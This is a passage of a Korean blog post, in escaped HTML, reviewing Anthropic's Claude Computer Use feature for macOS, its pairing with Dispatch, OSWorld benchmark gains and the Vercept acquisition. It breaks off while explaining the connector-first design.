this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2568&quot; height=&quot;1458&quot; data-origin-width=&quot;2568&quot; data-origin-height=&quot;1458&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;br /&gt;한마디로, &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Claude가 사용자의 Mac 화면을 직접 보면서 마우스를 클릭하고 키보드를 치는 기능&lt;/b&gt;&lt;/span&gt;이다. 사람이 컴퓨터 앞에 앉아서 하는 것과 똑같은 방식으로 앱을 조작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;br /&gt;여기에 일주일 전 출시된 &lt;b&gt;Dispatch&lt;/b&gt;까지 결합되면 이야기가 달라진다. 출근길 지하철에서 폰으로 &quot;이메일 정리하고 보고서 써줘&quot; 한마디면, 집에 놓고 온 Mac에서 Claude가 알아서 화면을 띄우고 작업을 시작한다. 아무도 없는 빈 책상 위에서 컴퓨터가 혼자 돌아가는 셈이다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Computer Use 소개
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Computer Use란 무엇인가&lt;/li&gt;
&lt;li&gt;Dispatch와의 시너지&lt;/li&gt;
&lt;li&gt;Cowork &amp;middot; Code 통합&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Computer Use의 진화
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2024년 10월: 첫 공개&lt;/li&gt;
&lt;li&gt;OSWorld 벤치마크 &amp;mdash; 14.9%에서 72.5%까지&lt;/li&gt;
&lt;li&gt;Vercept 인수&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;작동 원리
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;커넥터 우선, 화면 제어 폴백&lt;/li&gt;
&lt;li&gt;스크린샷 기반 인식과 픽셀 카운팅&lt;/li&gt;
&lt;li&gt;자기 수정 능력&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;설정 방법
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;필수 조건&lt;/li&gt;
&lt;li&gt;Dispatch 연동&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;활용 시나리오와 프롬프트 예시
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프롬프트 예시와 예상 동작&lt;/li&gt;
&lt;li&gt;적합한 작업 vs 아직 피해야 할 작업&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;안전성과 보안
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Permission-First 접근&lt;/li&gt;
&lt;li&gt;프롬프트 인젝션 방어&lt;/li&gt;
&lt;li&gt;AI Safety Level 평가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;현재 한계와 솔직한 평가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Anthropic이 인정한 제약사항&lt;/li&gt;
&lt;li&gt;플립북 방식의 한계&lt;/li&gt;
&lt;li&gt;플랫폼 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;경쟁 구도
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OpenAI, Google과의 데스크탑 제어 경쟁&lt;/li&gt;
&lt;li&gt;Anthropic이 먼저 출시한 이유&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;X(트위터): &quot;새로운 세계&quot;&lt;/li&gt;
&lt;li&gt;DEV Community: 실사용 체험기&lt;/li&gt;
&lt;li&gt;Reddit: 품질 vs 사용량 한도&lt;/li&gt;
&lt;li&gt;한국 커뮤니티&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;구독 플랜&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Claude Computer Use 가이드&lt;/b&gt;&lt;br /&gt;Computer Use는 Claude가 사용자의 Mac 화면을 직접 보고, 마우스를 클릭하고, 키보드를 입력하여 작업을 수행하는 기능이다. 커넥터가 있는 앱은 커넥터를 먼저 사용하고, 없으면 화면을 직접 제어한다.&lt;br /&gt;2026년 3월 23일 리서치 프리뷰로 출시되었으며, macOS에서 Pro 또는 Max 구독자에게 제공된다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;display: flex; justify-content: center; margin: 20px 0;&quot;&gt;
&lt;iframe src=&quot;https://platform.twitter.com/embed/Tweet.html?id=2036195789601374705&quot; style=&quot;width: 100%; max-width: 550px; min-height: 640px; border: none; border-radius: 12px;&quot; allowfullscreen=&quot;allowfullscreen&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: Computer Use 소개 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Computer Use 소개&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Computer Use란 무엇인가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 23일, Anthropic은 Claude Cowork와 Claude Code에서 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Computer Use 기능을 리서치 프리뷰로 공개&lt;/b&gt;&lt;/span&gt;했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic 공식 블로그의 표현을 빌리면:&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f0f0; border-left: 4px solid #888; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;Claude가 필요한 도구에 대한 접근 권한이 없을 때, 화면에 보이는 것을 직접 포인트하고, 클릭하고, 네비게이트하여 작업을 수행합니다. 파일을 열고, 브라우저를 사용하고, 개발 도구를 자동으로 실행할 수 있습니다 &amp;mdash; 별도의 설정이 필요 없습니다.&quot;&lt;br /&gt;&lt;span style=&quot;font-style: normal; font-size: 13px; color: #666;&quot;&gt;&amp;mdash; claude.com/blog/dispatch-and-computer-use (2026.3.23)&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;정리하면 네 가지이다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;화면 인식:&lt;/b&gt; Claude가 스크린샷을 찍어 현재 화면 상태를 파악한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;마우스 &amp;middot; 키보드 제어:&lt;/b&gt; 커서를 이동하고, 클릭하고, 텍스트를 입력한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;앱 간 이동:&lt;/b&gt; 파일, 브라우저, 개발 도구 등 여러 앱을 넘나들며 작업한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;커넥터 우선:&lt;/b&gt; Slack, Google Calendar 등 커넥터가 있으면 먼저 사용하고, 없을 때만 화면 제어로 전환한다&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;기존 AI 도구와의 차이&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;기존 AI 비서는 전용 API나 도구를 통해서만 외부 서비스와 상호작용할 수 있었다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use는 &lt;b&gt;사람이 컴퓨터를 쓰는 것과 같은 방식&lt;/b&gt;으로 아무 소프트웨어나 조작할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 이를 &quot;도구를 모델에 맞추는 대신, 모델을 도구에 맞추는 것&quot;이라고 설명한다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;즉, 기존에는 AI가 사용할 수 있도록 앱마다 전용 API를 만들어야 했지만, Computer Use는 이미 있는 앱의 UI를 그대로 사용한다는 의미다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Dispatch와의 시너지&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use와 함께 공개된 &lt;b&gt;Dispatch&lt;/b&gt;는 &lt;b&gt;폰과 데스크탑 사이에 하나의 지속적인 대화 스레드를 유지&lt;/b&gt;하는 기능이다. 하기글 참고.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goddaehee.tistory.com/558&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Cowork Dispatch 리뷰 - 외출 중에도 AI가 내 컴퓨터에서 일 시키기&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 두 기능이 결합되면 이런 시나리오가 가능해진다:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;출근길 지하철에서 폰으로 Claude에게 &quot;오늘 아침 이메일 정리하고 주간 보고서 초안 작성해줘&quot;라고 지시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;집에 있는 Mac의 Claude가 화면을 직접 띄워 이메일 앱을 열고, 내용을 분석하고, 문서 앱에서 보고서를 작성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;사무실에 도착하면 데스크톱에서 완성된 결과물을 확인하고 수정&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Dispatch를 통해 반복 작업을 스케줄링할 수도 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 블로그에 따르면 &quot;&lt;b&gt;매일 아침 이메일을 확인하거나 매주 특정 지표를 수집하도록&lt;/b&gt;&quot; 설정할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Cowork &amp;middot; Code 통합&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use는 &lt;b&gt;Claude Cowork&lt;/b&gt;와 &lt;b&gt;Claude Code&lt;/b&gt; 두 제품 모두에서 사용할 수 있다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;Claude Cowork&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;Claude Code&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;대상 사용자&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;비개발자 지식 노동자&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;개발자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;주요 용도&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;문서 작업, 리서치, 파일 정리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;코드 작성, 테스트, PR 제출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;Computer Use 활용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;커넥터 없는 앱 조작, 데이터 수집&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;IDE 조작, 브라우저 테스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;출시 시기&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;2026년 1월 (리서치 프리뷰)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;2025년 5월 (GA)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Cowork가 만들어진 계기가 재밌다. 마케팅이나 데이터 분석 팀이 &lt;b&gt;개발자용 Claude Code를 몰래(?) 쓰기 시작&lt;/b&gt;한 것이다. 복잡한 작업을 알아서 처리하는 게 매력적이었던 모양이다. Anthropic이 이걸 보고 비개발자 전용 인터페이스를 따로 만든 게 Cowork다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: Computer Use의 진화 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Computer Use의 진화&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2024년 10월: 첫 공개&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;사실 Computer Use가 처음 나온 건 2024년 10월이다. &lt;b&gt;Claude 3.5 Sonnet&lt;/b&gt;과 함께 퍼블릭 베타로 공개됐다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;당시 기술 블로그를 보면, 개발 과정에서 가장 어려웠던 건 &lt;b&gt;픽셀 카운팅&lt;/b&gt;이었다:&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f0f0; border-left: 4px solid #888; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;Claude는 화면에 보이는 스크린샷을 해석한 다음, 올바른 위치를 클릭하기 위해 가로 또는 세로로 몇 픽셀을 이동해야 하는지 계산합니다. Claude가 픽셀을 정확히 세는 훈련이 핵심이었습니다.&quot;&lt;br /&gt;&lt;span style=&quot;font-style: normal; font-size: 13px; color: #666;&quot;&gt;&amp;mdash; anthropic.com/news/developing-computer-use&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;훈련 과정도 독특하다. Anthropic은 안전상의 이유로 &lt;b&gt;인터넷 접속 없이 계산기와 텍스트 에디터 같은 간단한 소프트웨어만으로 훈련&lt;/b&gt;시켰다. 그런데 이것만으로도 Claude는 범용적인 컴퓨터 조작 능력을 익혔다. 프롬프트를 받으면 단계별로 쪼개서 실행하는 식이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OSWorld 벤치마크 &amp;mdash; 14.9%에서 72.5%까지&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;얼마나 좋아졌는지는 &lt;b&gt;OSWorld 벤치마크&lt;/b&gt; 수치를 보면 바로 와닿는다. OSWorld는 AI에게 실제 데스크톱에서 버튼 클릭, 폼 작성, 여러 단계에 걸친 작업 완수 같은 과제를 주고 성공률을 측정한다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;시기&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;OSWorld 점수&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;2024년 10월&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Claude 3.5 Sonnet&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;14.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;2024년 10월 (차점자)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;경쟁 모델&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;7.7%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;2026년 2월&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Claude Sonnet 4.6&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;b&gt;72.5%&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;2026년 2월&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Claude Opus 4.6&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;b&gt;72.7%&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;2026년 2월 (경쟁사)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;GPT-5.2&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;47.3% **&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;참고&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;인간 수준&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;72.36% (OSWorld 공식)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
(출처: Anthropic 공식 발표, Vercept 인수 발표 블로그)&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666;&quot;&gt;⚠️ &lt;b&gt;벤치마크 버전 주의&lt;/b&gt;: 2024년 10월의 14.9%는 &lt;i&gt;OSWorld 원본&lt;/i&gt; 기준이며, 2026년 2월의 72.5%/72.7%는 &lt;i&gt;OSWorld-Verified&lt;/i&gt;(개정판) 기준이다. 두 버전은 평가 방식이 다르므로 수치를 단순 비교하기 어렵다.&lt;br /&gt;* Vercept 인수 발표(2026.2.25)에서는 Sonnet 4.6의 72.5% 수치만 공식 언급됨. Opus 4.6의 72.7% 수치는 OSWorld 리더보드 기준.&lt;br /&gt;** GPT-5.2의 47.3%는 OpenAI GPT-5.4 발표 페이지에서 공식 비교 수치로 사용된 값(출처: openai.com/index/introducing-gpt-5-4). 일부 소스에서 38.2%를 인용하는 경우가 있으나, 이는 평가 조건(OSWorld 버전)이 다를 수 있다.&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;약 16개월 만에 &lt;b&gt;14.9% &amp;rarr; 72.5%&lt;/b&gt;로, 거의 &lt;b&gt;5배&lt;/b&gt; 향상되었다. Anthropic에 따르면 Sonnet 4.6은 &quot;복잡한 스프레드시트 탐색과 브라우저 탭을 넘나드는 웹 폼 작성 같은 작업에서 인간 수준의 성능에 접근하고 있다.&quot;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Vercept 인수&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 성과 뒤에는 인수가 있었다. Anthropic이 &lt;b&gt;Vercept&lt;/b&gt;라는 회사를 사들인 것이다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;공동 창업자:&lt;/b&gt; Kiana Ehsani, Luca Weihs, Ross Girshick&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;핵심 역량:&lt;/b&gt; AI 시스템이 사람이 사용하는 소프트웨어를 보고 상호작용하는 기술&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;배경:&lt;/b&gt; Vercept 팀은 &quot;AI 시스템이 인간이 매일 사용하는 소프트웨어 안에서 보고 행동하는 방법&quot;에 대해 수년간 연구해온 팀&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이는 2025년 12월의 &lt;b&gt;Bun(JavaScript 런타임) 인수&lt;/b&gt;에 이어 두 번째 주요 인수다(2026년 2월 25일). Bun은 Claude Code의 실행 환경으로 쓰이는 고성능 JavaScript 런타임으로, Claude Code가 Bun 실행 파일로 배포되는 이유가 여기에 있다. Anthropic은 &quot;기술적 야심이 일치하고, 안전성과 엄격함이라는 원칙을 공유하는 팀&quot;을 찾는다고 밝혔다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 작동 원리 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 작동 원리&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커넥터 우선, 화면 제어 폴백&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude가 작업을 받으면 다음 순서로 실행 방법을 결정한다:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;커넥터 확인:&lt;/b&gt; 해당 작업에 맞는 커넥터(Slack, Google Calendar 등)가 있는지 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;커넥터 사용:&lt;/b&gt; 있으면 커넥터를 통해 직접 API로 작업 수행 (빠르고 정확)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;화면 제어 폴백:&lt;/b&gt; 커넥터가 없으면 화면을 직접 제어하여 작업 수행&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;왜 커넥터 우선인가&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;화면 기반 제어는 API 통합보다 느리고 오류 가능성이 있다. 커넥터를 우선 사용하는 것은 &lt;b&gt;정확도와 속도를 최대화&lt;/b&gt;하기 위한 설계 결정이다. 화면 제어는 커넥터가 없는 경우에만 사용되는 폴백 메커니즘이다.&lt;/p&gt;
&lt;/div&gt;
